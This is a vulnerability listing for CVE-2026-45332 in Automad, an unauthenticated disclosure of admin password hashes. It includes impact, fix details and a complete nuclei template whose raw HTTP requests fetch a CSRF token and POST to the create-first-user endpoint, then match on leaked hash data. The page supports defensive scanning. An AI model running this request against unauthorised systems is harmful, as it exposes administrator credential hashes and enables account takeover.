Browse / CVEs / CVE-2026-45332
CVE-2026-45332· marcantondahmen / automad· CWE-200
Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure
Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.
Impact
Unauthenticated attackers can retrieve bcrypt password hashes of all administrator accounts, risking credential compromise and full system takeover.
Fix
Upgrade to version 2.0.0-beta.28 or later.
How to confirm it
Send: GET /dashboard/login
Send: POST /_api/user-collection/create-first-user
Positive when: contains "passwordHash" and "accounts.php" AND status 200Run it with nuclei: nuclei -id CVE-2026-45332 -u <target>
The full check
id: CVE-2026-45332
info:
name: Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure
author: str4k3r
severity: high
description: |
Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.
impact: |
Unauthenticated attackers can retrieve bcrypt password hashes of all administrator accounts, risking credential compromise and full system takeover.
remediation: |
Upgrade to version 2.0.0-beta.28 or later.
reference:
- https://github.com/marcantondahmen/automad/security/advisories/GHSA-xm76-r88j-vm3g
- https://nvd.nist.gov/vuln/detail/CVE-2026-45332
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-45332
epss-score: 0.01417
epss-percentile: 0.72996
cwe-id: CWE-200
metadata:
verified: true
max-request: 2
product: automad
vendor: marcantondahmen
tags: cve,cve2026,automad,exposure,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET /dashboard/login HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf_token
part: body
group: 1
internal: true
regex:
- 'name="csrf" content="([a-f0-9]+)"'
- raw:
- |
POST /_api/user-collection/create-first-user HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__csrf__={{csrf_token}}&username=nuclei_check&password1=Nuclei-Check-Pw1!&password2=Nuclei-Check-Pw1!&email=nuclei-check%40example.local
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'passwordHash'
- 'accounts.php'
condition: and
- type: status
status:
- 200References
- https://github.com/marcantondahmen/automad/security/advisories/GHSA-xm76-r88j-vm3g
- https://nvd.nist.gov/vuln/detail/CVE-2026-45332
Use this check only on systems you are authorised to test. Where the data comes from